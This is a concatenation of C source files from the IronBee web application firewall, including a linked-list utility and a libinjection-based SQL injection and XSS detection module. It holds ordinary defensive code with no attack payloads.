@param[in] tx Current transaction. * @param[in] field The field to operate on. * @param[in] capture If non-NULL, the collection to capture to. * @param[out] result The result of the operator 1=true 0=false. * @param[in] instance_data Instance data needed for execution. * @param[in] cbdata Pointer to the module instance (ib_module_t *) */ static ib_status_t ee_match_operator_execute( ib_tx_t *tx, const ib_field_t *field, ib_field_t *capture, ib_num_t *result, void *instance_data, void *cbdata ) { return ee_match_operator_execute_nonstream( tx, instance_data, field, capture, true, result, cbdata); } /** * Execute the @c ee operator in a streaming fashion. * * See ee_operator_execute(). * * @param[in] tx Current transaction. * @param[in] field The field to operate on. * @param[in] capture If non-NULL, the collection to capture to. * @param[out] result The result of the operator 1=true 0=false. * @param[in] instance_data Instance data needed for execution. * @param[in] cbdata Pointer to the module instance (ib_module_t *) */ static ib_status_t ee_operator_execute_stream( ib_tx_t *tx, const ib_field_t *field, ib_field_t *capture, ib_num_t *result, void *instance_data, void *cbdata ) { ib_status_t rc; ia_eudoxus_result_t ia_rc; ee_operator_data_t *operator_data = instance_data; ia_eudoxus_t* eudoxus = operator_data->eudoxus; ee_tx_data_t* data = NULL; ee_callback_data_t *ee_cbdata; const ib_module_t *m = (const ib_module_t *)cbdata; assert(m != NULL); assert(tx != NULL); assert(instance_data != NULL); *result = 0; /* Persist data. */ rc = get_ee_tx_data(m, tx, operator_data, &data); if (rc == IB_ENOENT) { /* Data not found create it */ data = ib_mm_alloc(tx->mm, sizeof(*data)); ee_cbdata = ib_mm_alloc(tx->mm, sizeof(*ee_cbdata)); if (ee_cbdata == NULL) { return IB_EALLOC; } ee_cbdata->tx = tx; ee_cbdata->capture = capture; data->ee_cbdata = ee_cbdata; ia_rc = ia_eudoxus_create_state(&data->eudoxus_state, eudoxus, ee_first_match_callback, (void *)ee_cbdata); if (ia_rc != IA_EUDOXUS_OK) { if (data->eudoxus_state != NULL) { ia_eudoxus_destroy_state(data->eudoxus_state); data->eudoxus_state = NULL; } return IB_EINVAL; } data->end_of_automata = false; set_ee_tx_data(m, tx, operator_data, data); } else if (rc != IB_OK) { /* Error getting the state -- abort */ return rc; } return ee_operator_execute_common( tx, operator_data, data, field, false, result ); } /** * Destroy the eudoxus state when the transaction is complete. * * After the transaction is complete iterate over all of the states create * during the transaction and destroy them. * * @param[in] ib IronBee engine. * @param[in] tx Current transaction. * @param[in] state State (should always be @ref tx_finished_state) * @param[in] cbdata Callback data -- pointer to this module (@ref ib_module_t). * * @returns IB_OK on success. */ static ib_status_t ee_tx_finished_handler(ib_engine_t *ib, ib_tx_t *tx, ib_state_t state, void *cbdata) { ib_status_t rc; ib_hash_t *hash; ib_mpool_lite_t* mpl; ib_mm_t mm; const ib_module_t *m = (const ib_module_t *)cbdata; ee_tx_data_t *data; ib_hash_iterator_t *iterator; rc = ib_tx_get_module_data(tx, m, &hash); if (rc == IB_ENOENT) { /* Nothing to do. */ return IB_OK; } if (rc != IB_OK || hash == NULL) { return rc; } rc = ib_mpool_lite_create(&mpl); if (rc != IB_OK) { return rc; } mm = ib_mm_mpool_lite(mpl); iterator = ib_hash_iterator_create(mm); if (iterator == NULL) { ib_mpool_lite_destroy(mpl); return IB_EALLOC; } for ( ib_hash_iterator_first(iterator, hash); ! ib_hash_iterator_at_end(iterator); ib_hash_iterator_next(iterator) ) { ib_hash_iterator_fetch(NULL, NULL, &data, iterator); if (data->eudoxus_state != NULL) { ia_eudoxus_destroy_state(data->eudoxus_state); data->eudoxus_state = NULL; } } ib_mpool_lite_destroy(mpl); return IB_OK; } /** * Initialize the eudoxus operator module. * * Registers the operators and the hash for storing the eudoxus engine * instances created by the LoadEudoxus directive. * * @param[in] ib Ironbee engine. * @param[in] m Module instance. * @param[in] cbdata Not used. */ static ib_status_t ee_module_init(ib_engine_t *ib, ib_module_t *m, void *cbdata) { ib_status_t rc; ib_mm_t mm; ee_config_t *config; mm = ib_engine_mm_main_get(ib); config = ee_get_config(ib); assert(config != NULL); if (config->eudoxus_pattern_hash == NULL) { rc = ib_hash_create_nocase(&(config->eudoxus_pattern_hash), mm); if (rc != IB_OK ) { return rc; } } rc = ib_operator_create_and_register( NULL, ib, "ee", IB_OP_CAPABILITY_CAPTURE, &ee_operator_create, NULL, NULL, NULL, &ee_operator_execute, m ); if (rc != IB_OK) { ib_log_error( ib, "Error registering ee operator: %s", ib_status_to_string(rc)); return rc; } rc = ib_operator_stream_create_and_register( NULL, ib, "ee", IB_OP_CAPABILITY_CAPTURE, &ee_operator_create, NULL, NULL, NULL, &ee_operator_execute_stream, m ); if (rc != IB_OK) { ib_log_error( ib, "Error registering ee stream operator: %s", ib_status_to_string(rc)); return rc; } rc = ib_operator_create_and_register( NULL, ib, "ee_match", IB_OP_CAPABILITY_CAPTURE, &ee_operator_create, NULL, NULL, NULL, &ee_match_operator_execute, m ); if (rc != IB_OK) { ib_log_error( ib, "Error registering ee operator: %s", ib_status_to_string(rc)); return rc; } rc = ib_hook_tx_register(ib, tx_finished_state, ee_tx_finished_handler, m); if (rc != IB_OK) { ib_log_error( ib, "Error registering transaction finished state for ee operator: %s", ib_status_to_string(rc)); return rc; } return IB_OK; } /** * Release resources when the module is unloaded. * * All eudoxus engines created by the LoadEudoxus directive are destroyed. * * @param[in] ib Ironbee engine. * @param[in] m Module instance. * @param[in] cbdata Not used. */ static ib_status_t ee_module_finish(ib_engine_t *ib, ib_module_t *m, void *cbdata) { ib_status_t rc; ia_eudoxus_t *eudoxus; ib_mpool_lite_t *pool; const ee_config_t *config = ee_get_config(ib); ib_hash_t *eudoxus_pattern_hash; ib_hash_iterator_t *iterator; if ( config == NULL || config->eudoxus_pattern_hash == NULL ) { return IB_OK; } eudoxus_pattern_hash = config->eudoxus_pattern_hash; rc = ib_mpool_lite_create(&pool); if (rc != IB_OK) { return rc; } iterator = ib_hash_iterator_create(ib_mm_mpool_lite(pool)); if (iterator == NULL) { ib_mpool_lite_destroy(pool); return IB_EALLOC; } for ( ib_hash_iterator_first(iterator, eudoxus_pattern_hash); ! ib_hash_iterator_at_end(iterator); ib_hash_iterator_next(iterator) ) { ib_hash_iterator_fetch(NULL, NULL, &eudoxus, iterator); if (eudoxus != NULL) { ia_eudoxus_destroy(eudoxus); } } ib_hash_clear(eudoxus_pattern_hash); ib_mpool_lite_destroy(pool); return IB_OK; } /** * Initial values of @ref ee_config_t. * * This static will *only* be passed to IronBee as part of module * definition. It will never be read or written by any code in this file. */ static ee_config_t g_ee_config = {NULL}; #ifndef DOXYGEN_SKIP static IB_DIRMAP_INIT_STRUCTURE(eudoxus_directive_map) = { IB_DIRMAP_INIT_PARAM2( "LoadEudoxus", load_eudoxus_pattern_param2, NULL ), /* signal the end of the list */ IB_DIRMAP_INIT_LAST }; /** * Module structure. * * This structure defines some metadata, config data and various functions. */ IB_MODULE_INIT( IB_MODULE_HEADER_DEFAULTS, /**< Default metadata */ MODULE_NAME_STR, /**< Module name */ IB_MODULE_CONFIG(&g_ee_config), /**< Global config data */ NULL, /**< Configuration field map */ eudoxus_directive_map, /**< Config directive map */ ee_module_init, /**< Initialize function */ NULL, /**< Callback data */ ee_module_finish, /**< Finish function */ NULL, /**< Callback data */ ); #endif
crustymonkey/ironbee
util/list.c
<reponame>crustymonkey/ironbee /***************************************************************************** * Licensed to Qualys, Inc. (QUALYS) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * QUALYS licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ****************************************************************************/ /** * @file * @brief IronBee --- Utility List Functions * @author <NAME> <<EMAIL>> */ /** * This is a doubly linked list. */ #include "ironbee_config_auto.h" #include <ironbee/list.h> #include <assert.h> ib_status_t ib_list_create(ib_list_t **plist, ib_mm_t mm) { /* Create the structure. */ *plist = (ib_list_t *)ib_mm_calloc(mm, 1, sizeof(**plist)); if (*plist == NULL) { *plist = NULL; return IB_EALLOC; } (*plist)->mm = mm; return IB_OK; } ib_status_t ib_list_copy_nodes(const ib_list_t *src_list, ib_list_t *dest_list) { assert(src_list != NULL); assert(dest_list != NULL); ib_status_t rc; const ib_list_node_t *node; IB_LIST_LOOP_CONST(src_list, node) { assert(node->data != NULL); rc = ib_list_push(dest_list, node->data); if (rc != IB_OK) { return rc; } } return IB_OK; } ib_status_t ib_list_copy(const ib_list_t *src, ib_mm_t mm, ib_list_t **pdest) { assert(src != NULL); assert(pdest != NULL); ib_status_t rc; ib_list_t *dest_list; rc = ib_list_create(&dest_list, mm); if (rc != IB_OK) { return rc; } rc = ib_list_copy_nodes(src, dest_list); if (rc != IB_OK) { return rc; } *pdest = dest_list; return IB_OK; } ib_status_t ib_list_push(ib_list_t *list, void *data) { ib_list_node_t *node = (ib_list_node_t *)ib_mm_calloc(list->mm, 1, sizeof(*node) ); if (node == NULL) { return IB_EALLOC; } node->data = data; if (list->nelts == 0) { IB_LIST_NODE_INSERT_INITIAL(list, node); return IB_OK; } IB_LIST_NODE_INSERT_LAST(list, node, ib_list_node_t); return IB_OK; } ib_status_t ib_list_pop(ib_list_t *list, void *pdata) { if (list->nelts == 0) { if (pdata != NULL) { *(void **)pdata = NULL; } return IB_ENOENT; } if (pdata != NULL) { *(void **)pdata = IB_LIST_NODE_DATA(list->tail); } IB_LIST_NODE_REMOVE_LAST(list); return IB_OK; } ib_status_t ib_list_unshift(ib_list_t *list, void *data) { ib_list_node_t *node = (ib_list_node_t *)ib_mm_calloc(list->mm, 1, sizeof(*node) ); if (node == NULL) { return IB_EALLOC; } node->data = data; if (list->nelts == 0) { IB_LIST_NODE_INSERT_INITIAL(list, node); return IB_OK; } IB_LIST_NODE_INSERT_FIRST(list, node, ib_list_node_t); return IB_OK; } ib_status_t ib_list_shift(ib_list_t *list, void *pdata) { if (list->nelts == 0) { if (pdata != NULL) { *(void **)pdata = NULL; } return IB_ENOENT; } if (pdata != NULL) { *(void **)pdata = IB_LIST_NODE_DATA(list->head); } IB_LIST_NODE_REMOVE_FIRST(list); return IB_OK; } void ib_list_clear(ib_list_t *list) { list->nelts = 0; list->head = list->tail = NULL; return; } size_t ib_list_elements(const ib_list_t *list) { return list->nelts; } ib_list_node_t *ib_list_first(ib_list_t *list) { return IB_LIST_FIRST(list); } ib_list_node_t *ib_list_last(ib_list_t *list) { return IB_LIST_LAST(list); } ib_list_node_t *ib_list_node_next(ib_list_node_t *node) { return IB_LIST_NODE_NEXT(node); } ib_list_node_t *ib_list_node_prev(ib_list_node_t *node) { return IB_LIST_NODE_PREV(node); } const ib_list_node_t *ib_list_first_const(const ib_list_t *list) { return IB_LIST_FIRST(list); } const ib_list_node_t *ib_list_last_const(const ib_list_t *list) { return IB_LIST_LAST(list); } const ib_list_node_t *ib_list_node_next_const(const ib_list_node_t *node) { return IB_LIST_NODE_NEXT(node); } const ib_list_node_t *ib_list_node_prev_const(const ib_list_node_t *node) { return IB_LIST_NODE_PREV(node); } void ib_list_node_remove(ib_list_t *list, ib_list_node_t *node) { IB_LIST_NODE_REMOVE(list, node); return; } void *ib_list_node_data(ib_list_node_t *node) { return IB_LIST_NODE_DATA(node); } const void *ib_list_node_data_const(const ib_list_node_t *node) { return IB_LIST_NODE_DATA(node); }
crustymonkey/ironbee
modules/libinjection.c
<filename>modules/libinjection.c /***************************************************************************** * Licensed to Qualys, Inc. (QUALYS) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * QUALYS licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ****************************************************************************/ /** * @file * @brief IronBee --- SQLi/XSS Module based on libinjection. * * This module utilizes libinjection to implement SQLi and XSS detection. The * libinjection library is the work of <NAME>. * * http://www.client9.com/projects/libinjection/ * * Transformations: * - normalizeSqli: Normalize SQL routine from libinjection. * * Operators: * - is_sqli: Returns true if the data contains SQL injection. * - is_xss: Returns true if the data contains XSS. * * @author <NAME> <<EMAIL>> */ /* See `man 7 feature_test_macros` on certain Linux flavors. */ #define _POSIX_C_SOURCE 200809L #include <ironbee/context.h> #include <ironbee/mm_mpool_lite.h> #include <ironbee/module.h> #include <ironbee/path.h> #include <ironbee/rule_engine.h> #include <ironbee/string.h> #include <ironbee/transformation.h> #include <ironbee/util.h> #include <libinjection.h> #include <libinjection_sqli.h> #include <libinjection_xss.h> #ifndef LIBINJECTION_SQLI_MAX_TOKENS #define LIBINJECTION_SQLI_MAX_TOKENS 5 #endif #include <assert.h> #include <stdio.h> #include <string.h> /* Define the module name as well as a string version of it. */ #define MODULE_NAME sqli #define MODULE_NAME_STR IB_XSTRINGIFY(MODULE_NAME) /* Declare the public module symbol. */ IB_MODULE_DECLARE(); /* Fingerprint and Confidence */ typedef struct sqli_fingerprint_entry_t { ib_num_t confidence; char *fingerprint; } sqli_fingerprint_entry_t; /* Finger printer database. */ typedef struct sqli_fingerprint_set_t { sqli_fingerprint_entry_t *fingerprints; /**< Sorted array of entries. */ size_t num_fingerprints; /**< Size of @ref fingerprints. */ } sqli_fingerprint_set_t; /* Callback data for lookup. */ typedef struct sqli_callback_data_t { const sqli_fingerprint_set_t *fingerprint_set; ib_num_t confidence; } sqli_callback_data_t; /* Module configuration. */ typedef struct sqli_module_config_t { /* For now, only support main context configuration. */ /** * Hash of set name to sqli_fingerprint_set_t*. **/ ib_hash_t *fingerprint_sets; } sqli_module_config_t; static sqli_module_config_t sqli_initial_config = { NULL }; /* Normalization function prototype. */ typedef int (*sqli_tokenize_fn_t)(sfilter * sf, stoken_t * sout); static int sqli_cmp(const void *a, const void *b) { const sqli_fingerprint_entry_t *a_entry = (const sqli_fingerprint_entry_t *)a; const sqli_fingerprint_entry_t *b_entry = (const sqli_fingerprint_entry_t *)b; return strcmp(a_entry->fingerprint, b_entry->fingerprint); } static int sqli_is_sqli_fingerprint(const char *fingerprint, size_t len, void *cbdata) { assert(len <= LIBINJECTION_SQLI_MAX_TOKENS); sqli_callback_data_t *callback_data = (sqli_callback_data_t *)cbdata; char fp[LIBINJECTION_SQLI_MAX_TOKENS + 1]; const sqli_fingerprint_entry_t *result = NULL; /* Create a NUL terminated string. */ memcpy(fp, fingerprint, len); fp[len] = '\0'; /* Calling bsearch on an array of *pointers*, thus a pointer to an element is a pointer to a pointer. Note that &fp is different than &fp_p. */ if ( callback_data != NULL && callback_data->fingerprint_set != NULL && callback_data->fingerprint_set->num_fingerprints > 0 ) { const sqli_fingerprint_set_t *fps = callback_data->fingerprint_set; sqli_fingerprint_entry_t key = { 0, fp }; result = bsearch( &key, fps->fingerprints, fps->num_fingerprints, sizeof(*fps->fingerprints), &sqli_cmp ); if (result != NULL) { callback_data->confidence = result->confidence; } } return result != NULL; } static char sqli_lookup_word(sfilter *sf, int lookup_type, const char* str, size_t len) { /* Only care about fingerprint lookups. */ if (lookup_type != LOOKUP_FINGERPRINT) { return libinjection_sqli_lookup_word(sf, lookup_type, str, len); } /* Must return 'X' or '\0' as true or false. */ return sqli_is_sqli_fingerprint(str, len, sf->userdata) ? 'X' : '\0'; } /********************************* * Transformations *********************************/ static ib_status_t sqli_normalize_tfn( ib_mm_t mm, const ib_field_t *field_in, const ib_field_t **field_out, void *instdata, void *tfn_data ) { assert(field_in != NULL); assert(field_out != NULL); const sqli_fingerprint_set_t *ps = (const sqli_fingerprint_set_t *)tfn_data; sfilter sf; ib_bytestr_t *bs_in; ib_bytestr_t *bs_out; const char *buf_in; char *buf_in_start; size_t buf_in_len; char *buf_out; char *buf_out_end; size_t buf_out_len; size_t lead_len = 0; char prev_token_type; ib_field_t *field_new; ib_status_t rc; size_t fingerprint_len; /* Currently only bytestring types are supported. * Other types will just get passed through. */ if (field_in->type != IB_FTYPE_BYTESTR) { *field_out = field_in; return IB_OK; } /* Extract the underlying incoming value. */ rc = ib_field_value(field_in, ib_ftype_bytestr_mutable_out(&bs_in)); if (rc != IB_OK) { return rc; } if (ib_bytestr_length(bs_in) == 0) { *field_out = field_in; return IB_OK; } /* Create a buffer big enough (double) to allow for normalization. */ buf_in = (const char *)ib_bytestr_const_ptr(bs_in); buf_out = buf_out_end = (char *)ib_mm_calloc(mm, 2, ib_bytestr_length(bs_in)); if (buf_out == NULL) { return IB_EALLOC; } /* TODO: With the latest libinjection, we will need to do something like the * following, but more robust, instead of just calling is_sqli. This seems * to be because folding is now called, which removes some tokens. */ #if 0 /* As SQL can be injected into a string, the normalization * needs to start after the first quote character if one * exists. * * First try single quote, then double, then none. * * TODO: Handle returning multiple transformations: * 1) Straight normalization * 2) Normalization as if with single quotes (starting point * should be based on straight normalization) * 3) Normalization as if with double quotes (starting point * should be based on straight normalization) */ buf_in_start = memchr(buf_in, CHAR_SINGLE, ib_bytestr_length(bs_in)); if (buf_in_start == NULL) { buf_in_start = memchr(buf_in, CHAR_DOUBLE, ib_bytestr_length(bs_in)); } if (buf_in_start == NULL) { buf_in_start = (char *)buf_in; buf_in_len = ib_bytestr_length(bs_in); } else { ++buf_in_start; /* After the quote. */ buf_in_len = ib_bytestr_length(bs_in) - (buf_in_start - buf_in); } /* Copy the leading string if one exists. */ if (buf_in_start != buf_in) { lead_len = buf_in_start - buf_in; memcpy(buf_out, buf_in, lead_len); buf_out_end += lead_len; } #endif buf_in_start = (char *)buf_in; buf_in_len = ib_bytestr_length(bs_in); /* Copy the normalized tokens as a space separated list. Since * the tokenizer does not backtrack, and the normalized values * are always equal to or less than the original length, the * tokens are written back to the beginning of the original * buffer. */ libinjection_sqli_init(&sf,buf_in_start, buf_in_len, FLAG_NONE); libinjection_sqli_callback(&sf, sqli_lookup_word, (void *)ps); /* NOTE: We do not care if it is sqli, but just want the tokens. */ libinjection_is_sqli(&sf); if (strlen(sf.fingerprint) == 0) { *field_out = field_in; return IB_OK; } buf_out_len = 0; prev_token_type = 0; fingerprint_len = strlen(sf.fingerprint); for (size_t i = 0; i < fingerprint_len; ++i) { stoken_t current = sf.tokenvec[i]; size_t token_len = strlen(current.val); /* Add in the space if required. */ if ((buf_out_end != buf_out) && (current.type != 'o') && (prev_token_type != 'o') && (current.type != ',') && (*(buf_out_end - 1) != ',')) { *buf_out_end = ' '; buf_out_end += 1; ++buf_out_len; } /* Copy the token value. */ memcpy(buf_out_end, current.val, token_len); buf_out_end += token_len; buf_out_len += token_len; prev_token_type = current.type; } /* Create the output field wrapping bs_out. */ buf_out_len += lead_len; rc = ib_bytestr_alias_mem(&bs_out, mm, (uint8_t *)buf_out, buf_out_len); if (rc != IB_OK) { return rc; } rc = ib_field_create(&field_new, mm, field_in->name, field_in->nlen, IB_FTYPE_BYTESTR, ib_ftype_bytestr_mutable_in(bs_out)); if (rc == IB_OK) { *field_out = field_new; } return rc; } /********************************* * Operators *********************************/ static ib_status_t sqli_op_create( ib_context_t *ctx, ib_mm_t mm, const char *parameters, void *instance_data, void *cbdata ) { ib_engine_t *ib = ib_context_get_engine(ctx); ib_status_t rc; ib_module_t *m = (ib_module_t *)cbdata; const char *set_name; size_t set_name_len; const sqli_module_config_t *cfg = NULL; const sqli_fingerprint_set_t *ps = NULL; if (parameters == NULL) { ib_log_error(ib, "Missing parameter for operator sqli"); return IB_EINVAL; } set_name = parameters; set_name_len = strlen(parameters); if (set_name[0] == '\'') { ++set_name; --set_name_len; } if (set_name[set_name_len-1] == '\'') { --set_name_len; } if (strncmp("default", set_name, set_name_len) == 0) { *(const sqli_fingerprint_set_t **)instance_data = NULL; return IB_OK; } rc = ib_context_module_config(ctx, m, &cfg); assert(rc == IB_OK); if (cfg->fingerprint_sets == NULL) { rc = IB_ENOENT; } else { rc = ib_hash_get_ex(cfg->fingerprint_sets, &ps, set_name, set_name_len); } if (rc == IB_ENOENT) { ib_log_error(ib, "No such fingerprint set: %s", parameters); return IB_EINVAL; } assert(rc == IB_OK); assert(ps != NULL); *(const sqli_fingerprint_set_t **)instance_data = ps; return IB_OK; } static ib_status_t sqli_op_execute( ib_tx_t *tx, const ib_field_t *field, ib_field_t *capture, ib_num_t *result, void *instance_data, void *cbdata ) { assert(tx != NULL); assert(field != NULL); assert(result != NULL); const sqli_fingerprint_set_t *ps = (const sqli_fingerprint_set_t *)instance_data; sfilter sf; ib_bytestr_t *bs; ib_status_t rc; sqli_callback_data_t callback_data; *result = 0; /* Currently only bytestring types are supported. * Other types will just get passed through. */ if (field->type != IB_FTYPE_BYTESTR) { return IB_OK; } rc = ib_field_value(field, ib_ftype_bytestr_mutable_out(&bs)); if (rc != IB_OK) { return rc; } /* Run through libinjection. */ libinjection_sqli_init( &sf, (const char *)ib_bytestr_const_ptr(bs), ib_bytestr_length(bs), FLAG_NONE ); callback_data.confidence = 0; callback_data.fingerprint_set = NULL; if (ps != NULL) { callback_data.fingerprint_set = ps; libinjection_sqli_callback(&sf, sqli_lookup_word, (void *)&callback_data); } if (libinjection_is_sqli(&sf)) { ib_log_debug_tx(tx, "Matched SQLi fingerprint: %s", sf.fingerprint); *result = 1; } if (*result == 1 && capture != NULL) { { ib_field_t *fingerprint_field; size_t fingerprint_length = strlen(sf.fingerprint); const uint8_t *fingerprint; fingerprint = ib_mm_memdup( tx->mm, sf.fingerprint, fingerprint_length ); if (fingerprint == NULL) { return IB_EALLOC; } rc = ib_field_create_bytestr_alias( &fingerprint_field, tx->mm, IB_S2SL("fingerprint"), fingerprint, fingerprint_length ); if (rc != IB_OK) { return rc; } rc = ib_field_list_add(capture, fingerprint_field); if (rc != IB_OK) { return rc; } } { ib_field_t *confidence_field; rc = ib_field_create( &confidence_field, tx->mm, IB_S2SL("confidence"), IB_FTYPE_NUM, ib_ftype_num_in(&callback_data.confidence) ); if (rc != IB_OK) { return rc; } rc = ib_field_list_add(capture, confidence_field); if (rc != IB_OK) { return rc; } } } return IB_OK; } static ib_status_t xss_op_execute( ib_tx_t *tx, const ib_field_t *field, ib_field_t *capture, ib_num_t *result, void *instance_data, void *cbdata ) { assert(tx != NULL); assert(field != NULL); assert(result != NULL); ib_bytestr_t *bs; ib_status_t rc; *result = 0; /* Currently only bytestring types are supported. * Other types will just get passed through. */ if (field->type != IB_FTYPE_BYTESTR) { return IB_OK; } rc = ib_field_value(field, ib_ftype_bytestr_mutable_out(&bs)); if (rc != IB_OK) { return rc; } /* Run through libinjection. */ if (libinjection_is_xss((const char *)ib_bytestr_const_ptr(bs), ib_bytestr_length(bs))) { ib_log_debug_tx(tx, "Matched XSS."); *result = 1; } return IB_OK; } /********************************* * Helper Functions *********************************/ static ib_status_t sqli_create_fingerprint_set_from_file( sqli_fingerprint_set_t **out_ps, const char *path, ib_mm_t mm ) { assert(out_ps != NULL); assert(path != NULL); ib_status_t rc; FILE *fp = NULL; char *buffer = NULL; size_t buffer_size = 0; ib_list_t *items = NULL; ib_list_node_t *n = NULL; ib_mpool_lite_t *tmp = NULL; ib_mm_t tmp_mm; sqli_fingerprint_set_t *ps = NULL; size_t i = 0; /* Temporary memory pool for this function only. */ rc = ib_mpool_lite_create(&tmp); assert(rc == IB_OK); assert(tmp != NULL); tmp_mm = ib_mm_mpool_lite(tmp); fp = fopen(path, "r"); if (fp == NULL) { goto fail; } rc = ib_list_create(&items, tmp_mm); assert(rc == IB_OK); assert(items != NULL); for (;;) { char *buffer_copy; int read = getline(&buffer, &buffer_size, fp); char *space = NULL; ib_num_t confidence = 0; sqli_fingerprint_entry_t *entry = ib_mm_alloc(tmp_mm, sizeof(*entry)); if (read == -1) { if (! feof(fp)) { fclose(fp); goto fail; } else { break; } } while (buffer[read-1] == '\n' || buffer[read-1] == '\r') { buffer[read-1] = '\0'; --read; } space = strstr(buffer, " "); if (space != NULL) { rc = ib_string_to_num(space + 1, 10, &confidence); if (rc != IB_OK || confidence > 100) { return IB_EINVAL; } *space = '\0'; } buffer_copy = ib_mm_strdup(mm, buffer); assert(buffer_copy != NULL); entry->confidence = confidence; entry->fingerprint = buffer_copy; rc = ib_list_push(items, (void *)entry); assert(rc == IB_OK); } fclose(fp); ps = ib_mm_alloc(mm, sizeof(*ps)); assert(ps != NULL); ps->num_fingerprints = ib_list_elements(items); ps->fingerprints = ib_mm_alloc(mm, ps->num_fingerprints * sizeof(*ps->fingerprints)); assert(ps->fingerprints != NULL); i = 0; IB_LIST_LOOP(items, n) { const sqli_fingerprint_entry_t *entry = (const sqli_fingerprint_entry_t *)ib_list_node_data(n); ps->fingerprints[i] = *entry; ++i; } assert(i == ps->num_fingerprints); ib_mpool_lite_destroy(tmp); qsort( ps->fingerprints, ps->num_fingerprints, sizeof(*ps->fingerprints), &sqli_cmp ); *out_ps = ps; return IB_OK; fail: ib_mpool_lite_destroy(tmp); return IB_EINVAL; } /********************************* * Directive Functions *********************************/ static ib_status_t sqli_dir_fingerprint_set( ib_cfgparser_t *cp, const char *directive_name, const char *set_name, const char *set_path, void *cbdata ) { assert(cp != NULL); assert(directive_name != NULL); assert(set_name != NULL); assert(set_path != NULL); ib_status_t rc; ib_context_t *ctx = NULL; ib_module_t *m = NULL; sqli_module_config_t *cfg = NULL; sqli_fingerprint_set_t *ps = NULL; ib_mm_t mm; char *abs_set_path = NULL; rc = ib_cfgparser_context_current(cp, &ctx); assert(rc == IB_OK); assert(ctx != NULL); if (ctx != ib_context_main(cp->ib)) { ib_cfg_log_error(cp, "%s: Only valid at main context.", directive_name ); return IB_EINVAL; } if (strcmp("default", set_name) == 0) { ib_cfg_log_error(cp, "%s: default is a reserved set name.", directive_name ); return IB_EINVAL; } mm = ib_engine_mm_main_get(cp->ib); rc = ib_engine_module_get( ib_context_get_engine(ctx), MODULE_NAME_STR, &m ); assert(rc == IB_OK); rc = ib_context_module_config(ctx, m, &cfg); assert(rc == IB_OK); if (cfg->fingerprint_sets == NULL) { rc = ib_hash_create(&cfg->fingerprint_sets, mm); assert(rc == IB_OK); } assert(cfg->fingerprint_sets != NULL); rc = ib_hash_get(cfg->fingerprint_sets, NULL, set_name); if (rc == IB_OK) { ib_cfg_log_error(cp, "%s: Duplicate fingerprint set definition: %s", directive_name, set_name ); return IB_EINVAL; } assert(rc == IB_ENOENT); abs_set_path = ib_util_relative_file( ib_engine_mm_config_get(cp->ib), ib_cfgparser_curr_file(cp), set_path ); if (abs_set_path == NULL) { return IB_EALLOC; } rc = sqli_create_fingerprint_set_from_file(&ps, abs_set_path, mm); if (rc != IB_OK) { ib_cfg_log_error(cp, "%s: Failure to load fingerprint set from file: %s", directive_name, abs_set_path ); return IB_EINVAL; } assert(ps != NULL); rc = ib_hash_set(cfg->fingerprint_sets, ib_mm_strdup(mm, set_name), ps); assert(rc == IB_OK); return IB_OK; } /********************************* * Module Functions *********************************/ /* Called to initialize a module (on load). */ static ib_status_t sqli_init(ib_engine_t *ib, ib_module_t *m, void *cbdata) { assert(ib != NULL); assert(m != NULL); ib_status_t rc; /* Register normalizeSqli transformation. */ rc = ib_transformation_create_and_register( NULL, ib, "normalizeSqli", false, NULL, NULL, NULL, NULL, sqli_normalize_tfn, NULL ); if (rc != IB_OK) { return rc; } /* Register is_sqli operator. */ rc = ib_operator_create_and_register( NULL, ib, "is_sqli", IB_OP_CAPABILITY_CAPTURE, sqli_op_create, m, NULL, NULL, sqli_op_execute, NULL ); if (rc != IB_OK) { return rc; } /* Register is_xss operator. */ rc = ib_operator_create_and_register( NULL, ib, "is_xss", IB_OP_CAPABILITY_NONE, NULL, NULL, NULL, NULL, xss_op_execute, NULL ); if (rc != IB_OK) { return rc; } return IB_OK; } static IB_DIRMAP_INIT_STRUCTURE(sqli_directive_map) = { IB_DIRMAP_INIT_PARAM2( "LibInjectionFingerprintSet", sqli_dir_fingerprint_set, NULL ), IB_DIRMAP_INIT_LAST }; /* Initialize the module structure. */ IB_MODULE_INIT( IB_MODULE_HEADER_DEFAULTS, /* Default metadata */ MODULE_NAME_STR, /* Module name */ IB_MODULE_CONFIG(&sqli_initial_config), /* Global config data */ NULL, /* Configuration field map */ sqli_directive_map, /* Config directive map */ sqli_init, /* Initialize function */ NULL, /* Callback data */ NULL, /* Finish function */ NULL, /* Callback data */ );
crustymonkey/ironbee
modules/txdump.c
<gh_stars>1-10 /***************************************************************************** * Licensed to Qualys, Inc. (QUALYS) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * QUALYS licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ****************************************************************************/ /** * @file * @brief IronBee --- TxDump module * * This module defines the <tt>TxDump</tt> directive, and the <tt>txDump</tt> * action. * * @par The TxDump directive * * <tt>usage: TxDump @<state@> @<dest@> [@<enable@>]</tt> * - @<state@> is one of: * - <tt>TxStarted</tt> * - <tt>RequestStarted</tt> * - <tt>RequestHeaderProcess</tt> * - <tt>TxContext</tt> * - <tt>RequestHeaderFinished</tt> * - <tt>RequestHeader</tt> * - <tt>RequestFinished</tt> * - <tt>Request</tt> * - <tt>TxProcess</tt> * - <tt>ResponseStarted</tt> * - <tt>ResponseHeaderFinished</tt> * - <tt>ResponseHeader</tt> * - <tt>ResponseFinished</tt> * - <tt>Response</tt> * - 